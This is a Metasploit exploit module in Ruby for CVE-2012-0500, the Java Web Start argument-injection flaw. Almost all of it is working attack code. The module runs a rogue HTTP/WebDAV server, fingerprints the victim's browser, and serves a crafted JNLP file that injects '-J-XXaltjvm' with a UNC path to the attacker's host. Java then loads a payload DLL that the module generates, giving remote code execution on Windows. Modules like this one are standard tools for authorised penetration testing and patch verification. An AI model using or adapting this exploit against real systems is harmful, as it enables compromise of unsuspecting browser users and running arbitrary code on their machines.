Sun Java Web Start Plugin - Command Line Argument Injection (2012) (Metasploit)

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sun Java Web Start Plugin Command Line Argument Injection (2012)',
			'Description'    => %q{
					This module exploits a flaw in the Web Start component of the Sun Java
				Runtime Environment. The arguments passed to Java Web Start are not properly
				validated, allowing injection of arbitrary arguments to the JVM.

				By utilizing the lesser known -J option, an attacker can take advantage of
				the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method
				allows an attacker to execute arbitrary code in the context of an unsuspecting
				browser user.

				In order for this module to work, it must be ran as root on a server that
				does not serve SMB. Additionally, the target host must have the WebClient
				service (WebDAV Mini-Redirector) enabled.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'jduck', # Bug reported to Oracle by TELUS
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2012-0500' ],
					[ 'OSVDB', '79227' ],
					[ 'BID', '52015' ],
					[ 'URL', 'http://seclists.org/fulldisclosure/2012/Feb/251' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html' ]
				],
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => '',
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
				},
			'Targets'        =>
				[
					[ 'Automatic', { } ],
					[ 'Java Runtime on Windows x86',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 14 2012'
			))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
				OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
				OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with an SMB server)' ])
			], self.class)
	end


	def auto_target(cli, request)
		agent = request.headers['User-Agent']

		ret = nil
		#print_status("Agent: #{agent}")
		# Check for MSIE and/or WebDAV redirector requests
		if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
			ret = targets[1]
		elsif agent =~ /MSIE (6|7|8)\.0/
			ret = targets[1]
		else
			print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
		end

		ret
	end


	def on_request_uri(cli, request)

		# For this exploit, this does little besides ensures the user agent is a recognized one..
		mytarget = target
		if target.name == 'Automatic'
			mytarget = auto_target(cli, request)
			if (not mytarget)
				send_not_found(cli)
				return
			end
		end

		# Special case to process OPTIONS for /
		if (request.method == 'OPTIONS' and request.uri == '/')
			process_options(cli, request, mytarget)
			return
		end

		# Discard requests for ico files
		if (request.uri =~ /\.ico$/i)
			send_not_found(cli)
			return
		end

		# If there is no subdirectory in the request, we need to redirect.
		if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
			if (request.uri == '/')
				subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
			else
				subdir = request.uri + '/'
			end
			print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
			send_redirect(cli, subdir)
			return
		else
			share_name = $1
		end

		# dispatch WebDAV requests based on method first
		case request.method
		when 'OPTIONS'
			process_options(cli, request, mytarget)

		when 'PROPFIND'
			process_propfind(cli, request, mytarget)

		when 'GET'
			process_get(cli, request, mytarget, share_name)

		when 'PUT'
			print_status("Sending 404 for PUT #{request.uri} ...")
			send_not_found(cli)

		else
			print_error("Unexpected request method encountered: #{request.method}")

		end

	end

	#
	# GET requests
	#
	def process_get(cli, request, target, share_name)

		print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
		# dispatch based on extension
		if (request.uri =~ /\.dll$/i)
			#
			# DLL requests sent by IE and the WebDav Mini-Redirector
			#
			print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

			# Re-generate the payload
			return if ((p = regenerate_payload(cli)) == nil)

			# Generate a DLL based on the payload
			dll_data = generate_payload_dll({ :code => p.encoded })

			# Send it :)
			send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

		elsif (request.uri =~ /\.jnlp$/i)
			#
			# Send the jnlp document
			#

			# Prepare the UNC path...
			if (datastore['UNCPATH'])
				unc = datastore['UNCPATH'].dup
			else
				my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
				unc = "\\\\" + my_host + "\\" + share_name
			end

			# NOTE: we ensure there's only a single backslash here since it will get escaped
			if unc[0,2] == "\\\\"
				unc.slice!(0, 1)
			end

			http_agent = Rex::Text.rand_text_alpha(8+rand(8))

			jnlp_data = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
   <title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title>
   <vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
   <description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
</information>
<resources>
   <java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=#{unc} "' />
</resources>
<resources><java java-vm-args='-Dhttp.agent=#{http_agent}"' /></resources>
</jnlp>
EOS
			print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })

		else
			print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
			jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))

			jnlp_path = get_resource()
			if jnlp_path[-1,1] != '/'
				jnlp_path << '/'
			end
			jnlp_path << request.uri.split('/')[-1] << '/'
			jnlp_path << jnlp_name << ".jnlp"

			send_redirect(cli, jnlp_path, '')

		end

	end

	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_options(cli, request, target)
		print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
		headers = {
			#'DASL'   => '<DAV:sql>',
			#'DAV'    => '1, 2',
			'Allow'  => 'OPTIONS, GET, PROPFIND',
			'Public' => 'OPTIONS, GET, PROPFIND'
		}
		send_response(cli, '', headers)
	end


	#
	# PROPFIND requests sent by the WebDav Mini-Redirector
	#
	def process_propfind(cli, request, target)
		path = request.uri
		print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
		body = ''

		if (path =~ /\.dll$/i)
			# Response for the DLL
			print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
			body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

		elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
			# Response for anything else (generally just /)
			print_status("Sending directory multistatus for #{path} ...")
			body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

		else
			print_status("Sending 404 for #{path} ...")
			send_not_found(cli)
			return

		end

		# send the response
		resp = create_response(207, "Multi-Status")
		resp.body = body
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end


	#
	# Make sure we're on the right port/path to support WebDAV
	#
	def exploit
		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
			raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
		end

		super
	end

end